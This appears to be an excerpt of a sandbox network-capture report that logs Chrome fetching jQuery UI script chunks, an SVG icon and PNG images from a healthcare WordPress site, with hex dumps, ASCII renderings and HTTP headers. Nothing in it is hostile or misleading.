20 76 61 6c 75 65 0a 09 09 09 09 69 66 20 28 20 65 6e 64 56 61 6c 75 65 20 3d 3d 3d 20 6e 75 6c 6c 20 29 Data Ascii: ];each( space.props, function( _key, prop ) {var index = prop.idx,startValue = start[ index ],endValue = end[ index ],type = propTypes[ prop.type ] \|\| {};// if null, don't override start valueif ( endValue === null )
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 74 68 65 20 65 6c 65 6d 65 6e 74 20 69 73 20 61 6c 72 65 61 64 79 20 77 72 61 70 70 65 64 2c 20 72 65 74 75 72 6e 20 69 74 0a 09 09 09 09 09 69 66 20 28 20 65 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 28 29 2e 69 73 28 20 22 2e 75 69 2d 65 66 66 65 63 74 73 2d 77 72 61 70 70 65 72 22 20 29 20 29 20 7b 0a 09 09 09 09 09 09 72 65 74 75 72 6e 20 65 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 28 29 3b 0a 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 2f 2f 20 57 72 61 70 20 74 68 65 20 65 6c 65 6d 65 6e 74 0a 09 09 09 09 09 76 61 72 20 70 72 6f 70 73 20 3d 20 7b 0a 09 09 09 09 09 09 09 77 69 64 74 68 3a 20 65 6c 65 6d 65 6e 74 2e 6f 75 74 65 72 57 69 64 74 68 28 20 74 72 75 65 20 29 2c 0a 09 09 09 09 09 09 09 68 65 69 67 68 74 3a 20 65 6c 65 6d 65 6e 74 2e 6f 75 74 65 72 48 Data Ascii: the element is already wrapped, return itif ( element.parent().is( ".ui-effects-wrapper" ) ) {return element.parent();}// Wrap the elementvar props = {width: element.outerWidth( true ),height: element.outerH
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 09 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 20 45 41 53 49 4e 47 20 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 09 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 0a 09 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 0a 2f 2f 20 42 61 73 65 64 20 6f 6e 20 65 61 73 Data Ascii: ******************************************************//******************************* EASING *******************************//****************************************************************************/( function() {// Based on eas
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 69 6e 67 0a 09 09 09 69 66 20 28 20 66 61 63 74 6f 72 2e 66 72 6f 6d 2e 79 20 21 3d 3d 20 66 61 63 74 6f 72 2e 74 6f 2e 79 20 29 20 7b 0a 09 09 09 09 66 72 6f 6d 20 3d 20 24 2e 65 66 66 65 63 74 73 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 28 20 65 6c 65 6d 65 6e 74 2c 20 63 50 72 6f 70 73 2c 20 66 61 63 74 6f 72 2e 66 72 6f 6d 2e 79 2c 20 66 72 6f 6d 20 29 3b 0a 09 09 09 09 74 6f 20 3d 20 24 2e 65 66 66 65 63 74 73 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 28 20 65 6c 65 6d 65 6e 74 2c 20 63 50 72 6f 70 73 2c 20 66 61 63 74 6f 72 2e 74 6f 2e 79 2c 20 74 6f 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 0a 0a 09 09 2f 2f 20 41 64 6a 75 73 74 20 74 68 65 20 70 6f 73 69 74 69 6f 6e 20 70 72 6f 70 65 72 74 69 65 73 20 62 61 73 65 64 20 6f 6e 20 74 68 65 20 70 72 6f 76 Data Ascii: ingif ( factor.from.y !== factor.to.y ) {from = $.effects.setTransition( element, cProps, factor.from.y, from );to = $.effects.setTransition( element, cProps, factor.to.y, to );}}// Adjust the position properties based on the prov
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 61 72 20 6b 65 79 63 6f 64 65 20 3d 20 24 2e 75 69 2e 6b 65 79 43 6f 64 65 20 3d 20 7b 0a 09 09 42 41 43 4b 53 50 41 43 45 3a 20 38 2c 0a 09 09 43 4f 4d 4d 41 3a 20 31 38 38 2c 0a 09 09 44 45 4c 45 54 45 3a 20 34 36 2c 0a 09 09 44 4f 57 4e 3a 20 34 30 2c 0a 09 09 45 4e 44 3a 20 33 35 2c 0a 09 09 45 4e 54 45 52 3a 20 31 33 2c 0a 09 09 45 53 43 41 50 45 3a 20 32 37 2c 0a 09 09 48 4f 4d 45 3a 20 33 36 2c 0a 09 09 4c 45 46 54 3a 20 33 37 2c 0a 09 09 50 41 47 45 5f 44 4f 57 4e 3a 20 33 34 2c 0a 09 09 50 41 47 45 5f 55 50 3a 20 33 33 2c 0a 09 09 50 45 52 49 4f 44 3a 20 31 39 30 2c 0a 09 09 52 49 47 48 54 3a 20 33 39 2c 0a 09 09 53 50 41 43 45 3a 20 33 32 2c 0a 09 09 54 41 42 3a 20 39 2c 0a 09 09 55 50 3a 20 33 38 0a 09 7d 3b 0a 0a 0a 09 2f 2a 21 0a 20 2a 20 6a Data Ascii: ar keycode = $.ui.keyCode = {BACKSPACE: 8,COMMA: 188,DELETE: 46,DOWN: 40,END: 35,ENTER: 13,ESCAPE: 27,HOME: 36,LEFT: 37,PAGE_DOWN: 34,PAGE_UP: 33,PERIOD: 190,RIGHT: 39,SPACE: 32,TAB: 9,UP: 38};/! j
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 73 2e 61 63 74 69 76 65 48 65 61 64 65 72 20 29 0a 09 09 09 09 09 2e 5f 61 64 64 43 6c 61 73 73 28 20 61 63 74 69 76 65 43 68 69 6c 64 72 65 6e 2c 20 6e 75 6c 6c 2c 20 6f 70 74 69 6f 6e 73 2e 69 63 6f 6e 73 2e 68 65 61 64 65 72 20 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 69 66 20 28 20 21 63 6c 69 63 6b 65 64 49 73 41 63 74 69 76 65 20 29 20 7b 0a 09 09 09 09 74 68 69 73 2e 5f 72 65 6d 6f 76 65 43 6c 61 73 73 28 20 63 6c 69 63 6b 65 64 2c 20 22 75 69 2d 61 63 63 6f 72 64 69 6f 6e 2d 68 65 61 64 65 72 2d 63 6f 6c 6c 61 70 73 65 64 22 20 29 0a 09 09 09 09 09 2e 5f 61 64 64 43 6c 61 73 73 28 20 63 6c 69 63 6b 65 64 2c 20 22 75 69 2d 61 63 63 6f 72 64 69 6f 6e 2d 68 65 61 64 65 72 2d 61 63 74 69 76 65 22 2c 20 22 75 69 2d 73 74 61 74 65 2d 61 63 74 69 76 65 22 20 Data Ascii: s.activeHeader )._addClass( activeChildren, null, options.icons.header );}if ( !clickedIsActive ) {this._removeClass( clicked, "ui-accordion-header-collapsed" )._addClass( clicked, "ui-accordion-header-active", "ui-state-active"
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 75 20 3d 20 69 74 65 6d 2e 70 61 72 65 6e 74 28 29 3b 0a 0a 09 09 09 74 68 69 73 2e 5f 74 72 69 67 67 65 72 28 20 22 66 6f 63 75 73 22 2c 20 65 76 65 6e 74 2c 20 7b 20 69 74 65 6d 3a 20 69 74 65 6d 20 7d 20 29 3b 0a 09 09 7d 2c 0a 0a 09 09 5f 73 63 72 6f 6c 6c 49 6e 74 6f 56 69 65 77 3a 20 66 75 6e 63 74 69 6f 6e 28 20 69 74 65 6d 20 29 20 7b 0a 09 09 09 76 61 72 20 62 6f 72 64 65 72 54 6f 70 2c 20 70 61 64 64 69 6e 67 54 6f 70 2c 20 6f 66 66 73 65 74 2c 20 73 63 72 6f 6c 6c 2c 20 65 6c 65 6d 65 6e 74 48 65 69 67 68 74 2c 20 69 74 65 6d 48 65 69 67 68 74 3b 0a 09 09 09 69 66 20 28 20 74 68 69 73 2e 5f 68 61 73 53 63 72 6f 6c 6c 28 29 20 29 20 7b 0a 09 09 09 09 62 6f 72 64 65 72 54 6f 70 20 3d 20 70 61 72 73 65 46 6c 6f 61 74 28 20 24 2e 63 73 73 28 20 74 Data Ascii: u = item.parent();this._trigger( "focus", event, { item: item } );},_scrollIntoView: function( item ) {var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight;if ( this._hasScroll() ) {borderTop = parseFloat( $.css( t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.4	50078	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	785	OUT	GET /wp-content/uploads/2020/07/icon__service_2.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:08 UTC	419	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: image/svg+xml Content-Length: 1562 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:44 GMT Vary: Accept-Encoding ETag: "64f5a130-61a" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:08 UTC	1562	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 37 30 22 20 68 65 69 67 68 74 3d 22 37 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 30 20 37 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 53 65 72 76 69 63 65 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 35 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 35 2e 32 33 38 34 20 36 39 2e 34 37 36 38 43 35 34 2e 34 32 33 39 20 36 39 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Service</title><path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.4	50079	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	537	OUT	GET /wp-content/uploads/2023/11/AE-2023.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:08 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: image/png Content-Length: 253994 Connection: close Last-Modified: Thu, 16 Nov 2023 13:56:07 GMT ETag: "65561f77-3e02a" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:08 UTC	16057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 60 00 00 09 60 08 06 00 00 00 0c 4d 0c 6e 00 03 df f1 49 44 41 54 78 da ec dd 4d 6d 1c 41 10 05 e0 40 58 04 91 0f 01 60 08 0b c1 10 0c 61 21 18 c2 de 73 19 08 86 30 10 16 82 21 0c 83 4e 8d b4 8e a2 48 49 14 7b 7f 5e f7 7c 87 ef 5e 5d dd ea d3 53 d5 97 d6 da 17 00 00 00 00 00 00 00 00 00 fe 5f 44 11 00 00 00 00 00 00 00 00 00 3d 8a 28 02 00 00 00 00 00 00 00 00 a0 47 11 45 00 00 00 00 00 00 00 00 00 f4 28 a2 08 00 00 00 00 00 00 00 00 80 1e 45 14 01 00 00 00 00 00 00 00 00 d0 a3 88 22 00 00 00 00 00 00 00 00 00 7a 14 51 04 00 00 00 00 00 00 00 00 40 8f 22 8a 00 00 00 00 80 77 df bf 7e db 97 e7 f2 f2 9b a7 f2 90 52 27 00 00 00 00 08 60 01 00 00 00 10 e1 1c ae 9a ca 52 da 3f 9c ca 41 18 0b 00 00 00 00 Data Ascii: PNGIHDR``MnIDATxMmA@X`a!s0!NHI{^\|^]S_D=(GE(E"zQ@"w~R'`R?A
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: d6 7b d3 d0 8c c5 7c 5d f6 3b d2 da 3f e8 da a8 50 7a b5 d0 8f 02 45 e9 5b 0b 6b 0c 32 17 be de 7c 27 d6 a7 8c 43 f7 d5 5d 65 59 8b 39 04 00 23 d8 70 79 0e 0c 00 00 08 60 01 00 80 4a ba 12 d8 26 0f 22 00 c0 4a 17 5c 68 7d 28 e4 92 36 48 a3 ea 15 e9 37 6b 15 60 28 51 45 26 42 10 a5 87 aa dd cc c2 27 a3 d0 26 6d 93 95 bd 46 a8 e2 37 e8 46 fd 93 47 3f 46 35 ac 82 e1 ce 98 23 0a 1c f5 03 41 a9 d6 c7 9d 5b 37 d3 05 24 75 bc cf b3 9e f5 db 15 a6 ba a6 e8 3d 5b cc d7 31 c3 7d 5f bc f5 da 69 af 17 73 5b c3 36 8c bc e4 bc 4c 59 9d b3 bb 86 65 1f 5d 4b c2 cf df 7c d5 62 0e 01 c0 c0 ae b8 3c 0b 06 00 00 04 b0 00 00 40 bd 00 d6 9a c9 83 08 00 b0 a1 d0 42 6c 10 b5 3e f4 19 bb 8d f2 74 d5 4a 46 68 25 17 c7 49 41 16 cb cf a1 6a 18 96 ed d7 5c 2a bb 64 6f 35 76 51 07 bb Data Ascii: {\|];?PzE[k2\|'C]eY9#py`J&"J\h}(6H7k`(QE&B'&mF7FG?F5#A[7$u=[1}_is[6LYe]K\|b<@Bl>tJFh%IAj\*do5vQ
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 64 16 e9 a9 4e 2a 47 3d a9 bc 7b 01 00 c4 24 71 10 00 80 98 68 c0 42 dd 58 f3 95 6f 79 17 39 4b 57 2f 6d a5 78 ea 7f 77 40 63 e5 7d ea 98 15 f8 b2 5e e3 6f df 79 8b 06 2c 00 55 6e 27 18 6e b5 38 21 84 90 72 16 15 d8 3d 80 6d 0b 01 94 66 61 ba 95 32 c5 27 45 db f6 f5 65 d5 55 bc b1 2b 47 6c c1 98 c4 b5 68 02 ab 9d f8 75 8c 18 1a f5 40 03 16 00 80 06 2c 00 40 48 34 60 a1 4e ea d0 7c 75 7b fe fb a2 81 4a 6e 4a d4 23 e2 13 c7 ac b8 57 d5 ca 61 1a b0 00 64 69 b8 b2 ad a8 d8 4e 90 10 42 c8 1f 37 64 4d b7 fc 5e 61 f7 0c 89 7b 17 80 58 ac 41 2a e7 62 29 6f b6 b1 ad 03 b7 ba a0 cb a7 0f e5 3a 3e 3b 07 12 d7 a2 ce ec 1c 7b 6d 29 72 26 87 87 24 ce 25 e2 52 79 f7 02 00 88 49 e2 20 00 00 31 d9 03 c9 c7 2a 0f 46 c0 16 c7 aa 87 6f be b2 b1 f0 65 6d 1b e0 db ff 55 30 05 Data Ascii: dNG={$qhBXoy9KW/mxw@c}^oy,Un'n8!r=mfa2'EeU+Glhu@,@H4`N\|u{JnJ#WadiNB7dM^a{XAb)o:>;{m)r&$%RyI 1*FoemU0
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: bd 35 1c b3 56 77 d5 b3 c1 a0 ad ba b7 b9 26 84 af 90 91 83 00 00 00 00 00 00 00 19 81 91 84 98 25 25 10 a5 5d a9 9a cd da c2 9c 06 bd 42 9d 97 ec 15 6b 51 6c 6c 10 c2 c2 48 ed 17 5b ac bc 03 47 8c 55 13 07 81 18 a3 be 35 a4 98 33 f2 47 19 d1 84 12 d0 d1 d6 cf c3 67 4f e8 bc fd ad bc 75 68 bf ff bf 66 43 3d 72 5c 89 2c 6e 4b cb 8b 7a fd 76 71 ac da 9a 59 c2 57 f5 7e ae 89 eb 8e e9 90 91 83 00 00 00 00 00 00 00 e9 67 ea c1 20 23 09 31 f5 fa 7d dc c5 d7 3f ba 66 b3 5e 2a ba c1 e3 07 33 17 2a b3 0a 21 2c 8c d8 2e 71 8f 95 f7 e1 88 b1 69 e2 20 10 63 b2 dc f5 aa df c8 1f 61 c4 04 d5 0a 1c 0d 0b cd 3c 1c d6 c5 a0 54 00 d5 54 35 b4 3a 3f e3 e6 5f 8c b9 67 d7 2f fb 60 96 99 50 56 c5 e2 3d 38 2b d2 91 ea ee c9 c3 7a 0c 9b 1c 9b 7e bd 51 21 31 b9 fe 26 ae 39 da 57 Data Ascii: 5Vw&%%]BkQllH[GU53GgOuhfC=r\,nKzvqYW~g #1}?f^3!,.qi ca<TT5:?_g/`PV=8+z~Q!1&9W
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 0d 6d 15 f2 e6 9b 36 b6 23 db b7 84 25 8b 01 00 00 00 00 00 00 20 15 cd f9 9a eb ef ec 90 78 06 4b c5 ce de bd 84 1f ce 6f 90 b0 90 40 e5 89 df 48 9c 0b a5 73 c7 00 16 e5 d8 a3 2a 73 16 94 46 12 07 41 e9 64 17 a9 9d 22 17 4b 2a 58 8d f9 aa 8b 2c ac a8 35 be ef c5 28 37 8d 36 20 16 7d 85 ae 9b 57 bf 6d f5 78 c2 f9 b2 5f 12 48 7c 77 54 8c fc 03 88 fa cc b4 03 00 00 00 00 00 00 80 d4 cc 4d 9e 93 78 0e 4b c5 cf bf 57 6a b3 b0 10 80 bd 87 2a f4 0f ef ed 9d 55 9e 0b 2d 48 7c 46 4a ae 9a ca 8c 05 a5 93 c4 41 50 3a f9 3d 52 45 2e 98 54 a0 4e 3c f7 54 2e 37 ab 03 8f 6d 8b be 4d a2 dd 00 47 59 11 eb 56 7d a1 a5 5f 31 d8 31 84 5f 40 ac 38 7f f8 0d 89 ef 90 f4 bb f2 8f 13 0e 00 00 00 00 00 00 00 52 35 35 3c 20 f1 2c 96 8a df c2 f4 45 d7 26 e1 c7 fa f6 3e 4b e2 73 b7 Data Ascii: m6#% xKo@HssFAd"KX,5(76 }Wmx_H\|wTMxKWj*U-H\|FJAP:=RE.TN<T.7mMGYV}_11_@8R55< ,E&>Ks
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 25 5a e6 3e 89 50 c0 d2 05 05 2c 0a 58 2e 42 01 4b 27 14 b0 28 60 51 c0 72 2b 14 b0 08 05 2c 66 ba b9 78 f2 0d 15 f7 d8 89 7e a4 d3 cd 44 22 d0 7b 07 f6 da 2a 59 2a b6 73 3a 62 99 ab 31 6b af ce 09 6f c4 29 fa 0d 8d 5a dc 98 a4 a1 62 23 92 84 ad 7a c5 76 83 fe 30 8b 72 12 da a2 cd f5 e7 db f3 8d 7b 03 86 d5 af 7c e5 58 47 4b c0 28 8d 08 38 65 3d 3f 06 24 af fd d7 8f 40 21 bb b8 48 ca 92 b5 28 11 93 3c 27 9d 2d 52 03 d0 76 10 98 e7 40 aa 44 4d 44 88 ab cd 02 f9 bd f3 ae cf 83 c1 d3 67 02 86 02 16 05 2c ff a3 65 ee 93 08 05 2c 5d cc 5f b3 15 98 c5 7d 11 03 44 06 0a 85 a4 12 37 35 b8 db 1a 4f f6 1f 91 ab 8c d4 10 7f 8d 7c 4e 91 77 e4 b5 d1 85 67 11 48 44 a0 92 31 0b 65 09 50 00 b2 90 2d af 0d 05 81 88 94 f5 e5 82 45 16 37 9d 15 dc e6 0a d9 57 e3 f3 13 6d 07 Data Ascii: %Z>P,X.BK'(`Qr+,fx~D"{Ys:b1ko)Zb#zv0r{\|XGK(8e=?$@!H(<'-Rv@DMDg,e,]_}D75O\|NwgHD1eP-E7Wm
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 6a 9f 7c 52 61 f5 9b c7 43 49 5a d2 f6 4f 4b 96 00 8c 95 90 17 01 95 45 93 c0 c7 8b 4b c0 85 83 87 14 38 8f c2 e9 86 0f c1 b2 3b ee 06 72 fe ab ef bc 13 1c a8 88 cb b1 92 21 de 7c 4d 02 69 9f 7c 6f 22 91 04 3d ed 57 45 92 1b 20 55 6d 9c f6 0c 68 3f d5 02 bc fd 3c f6 87 5a b0 63 de bf 03 99 73 10 ca 22 11 85 48 88 32 17 28 60 11 42 02 03 05 2c 42 82 85 2c 6c cb e7 22 14 c9 02 aa 77 a7 ab 5b 52 0c dc a9 45 28 d6 0b b1 22 5e 7d 71 fa 22 b0 23 09 67 a8 fc 4b d5 7b 0a f4 41 fa 89 b1 f9 13 7b 77 e3 1d 55 79 e7 01 fc 5f b0 0b d2 3d a7 33 c9 e4 85 16 b5 52 f7 f4 9c ad b6 ba da 3d 2d b5 2f 6b bb 2d 56 fb e2 6a 55 48 e8 d9 d3 0a d2 b3 a7 1c 56 c1 ea 7a 76 25 81 9e 76 25 f3 16 02 be 11 5e 6d 83 22 48 09 d6 04 a5 20 88 bc 13 44 94 08 8a 90 84 bc 98 84 cc cc dd fb 7c Data Ascii: j\|RaCIZOKEK8;r!\|Mi\|o"=WE Umh?<Zcs"H2(`B,B,l"w[RE("^}q"#gK{A{wUy_=3R=-/k-VjUHVzv%v%^m"H D\|
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 3f 04 5a 12 d2 a5 16 77 57 2d 00 e6 fa bd d2 57 12 78 7f ef 05 f2 8e d3 4d 5b dd 7e ae 00 d2 3e 7d 1c 22 e0 54 63 93 a7 ff fa 80 a4 ed e0 07 40 9f 1b aa 54 63 05 d0 e7 54 19 90 fe f4 9e 37 35 a1 32 a0 c5 29 21 32 34 e4 bc 91 f5 c9 eb a5 a5 c0 7b 9e 69 a1 ae 1c e8 32 83 11 a0 97 d5 88 78 25 b2 da 81 a5 2f 50 c0 f2 09 14 b0 cc 50 c0 0a 32 14 b0 ec 62 60 20 cf 53 ce 6d f3 d1 4f 01 33 b8 ec 39 79 11 dc 30 b3 4e 61 c5 f1 0d 3a 6e 19 2f 20 03 ee 37 cf 5d 05 3c f7 0f 5f 0e c6 fb 95 f9 1b f7 01 26 3f d9 7c f4 33 05 9f b3 0b 8e 16 5c f4 3d 24 7b fe 6e e1 06 20 cf 1e ba 14 5e 5c a4 0e 94 c9 03 95 51 80 bf 81 98 82 cf 2c 83 2c 41 28 b2 91 96 ae 14 71 e0 ed 7f 80 65 ec d8 ff 41 b6 33 97 ff 56 94 be f0 65 3b 47 0a 2d ad 45 af 12 f6 1e ab 7b 4b 41 ed 8a c9 9a 23 ab 12 Data Ascii: ?ZwW-WxM[~>}"Tc@TcT752)!24{i2x%/PP2b` SmO39y0Na:n/ 7]<_&?\|3\=${n ^\Q,,A(qeA3Ve;G-E{KA#
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: ec f8 d8 fe 1e fb 79 a4 07 da d4 49 ec 73 4e 7c 22 bd 8f de 2f 12 60 11 60 11 60 01 01 56 32 25 c0 82 ed 70 e9 95 c3 26 d6 82 30 f9 fa 29 48 97 b3 7f 6c c6 3a af 62 a9 98 77 c4 d2 2e 5d 8d 43 01 99 7f ce 26 ce 15 36 dd 9d 56 3a 22 02 ac 6d ea 0b 3a e7 15 23 17 14 62 ad 31 96 76 9c 72 db 49 2a 7e 6a 31 3e 0a 33 71 5c 3a 55 c6 0f 42 a3 38 bb 77 1f 22 56 e9 99 ae 03 f2 f4 de 2e 79 b6 6b bf fb 78 c1 d3 5d 5d f2 ec af f6 cb 33 7b 7f 2d 3f fd f7 05 02 ac 84 48 80 b5 09 04 58 6d 6b ad 7c af ef 4d 59 1c 95 f4 ec cb 32 8c 57 da 10 5a 95 8d 5e 52 3c 80 5b 1b 16 d5 b4 10 1b 46 db bd 3d b7 28 a1 75 0c 9e ff 28 2c 8c 87 45 d1 70 7d 6f 12 c7 3c 88 2e 8c 5c 53 d6 0d c7 b3 fc b8 be 94 1e 4b 40 64 95 93 5b 91 cf e7 e5 d7 71 67 f5 7e f4 fa a5 2b f2 17 27 2f c8 ef fc e6 35 Data Ascii: yIsN\|"/```V2%p&0)Hl:bw.]C&6V:"m:#b1vrI*~j1>3q\:UB8w"V.ykx]]3{-?HXmk\|MY2WZ^R<[F=(u(,Ep}o<.\SK@d[qg~+'/5
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: cb 5d a9 01 4b 0d 58 6a c0 52 03 96 1a b0 d4 80 a5 06 2c 35 60 a9 01 4b 0d 58 6a c0 52 03 96 1a b0 54 aa d2 e9 40 e3 2f 9d 88 5d 29 8a 03 38 7f 28 8c 49 61 a8 71 76 3d 0d ab 7a 0d 58 a6 11 3c c3 3e 47 3a c5 94 c4 98 79 90 fe ce a4 c1 43 3a 3c 33 28 6a 6a b5 0a 90 df 4e 97 cf 7d 82 36 fb bf ff fe bf d5 ad 5b 62 3e 3b dc 97 52 a9 aa 59 d9 a5 20 8c 81 f5 35 71 f0 5e 5b 3b 18 ee ed 35 86 13 60 0c 2c d7 48 f6 f8 60 23 0d f4 94 01 53 2e 80 ef fb c0 e1 d6 75 80 29 1a c4 e8 24 29 11 8a 95 82 90 da 3a ef 3e 20 c7 fc d7 12 2b 70 cc e0 42 fb f4 3b c1 99 be ee c2 06 7d 2e 8e a6 ba 1e 79 1c 84 37 e9 f9 bd 98 5d 24 78 b7 71 f6 3d c0 04 55 81 68 e2 26 83 4e 63 e0 a5 5b bf e6 23 41 d1 88 9d e6 81 01 72 a6 4c 3c d2 b1 09 14 4b 67 07 fb 99 7e 8b 1b bf e1 3a 91 f6 8a ca 26 Data Ascii: ]KXjR,5`KXjRT@/])8(Iaqv=zX<>G:yC:<3(jjN}6[b>;RY 5q^[;5`,H`#S.u)$):> +pB;}.y7]$xq=Uh&Nc[#ArL<Kg~:&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.4	50081	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	538	OUT	GET /wp-content/uploads/2023/11/HIT-2023.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:08 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: image/png Content-Length: 265336 Connection: close Last-Modified: Thu, 16 Nov 2023 13:55:32 GMT ETag: "65561f54-40c78" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
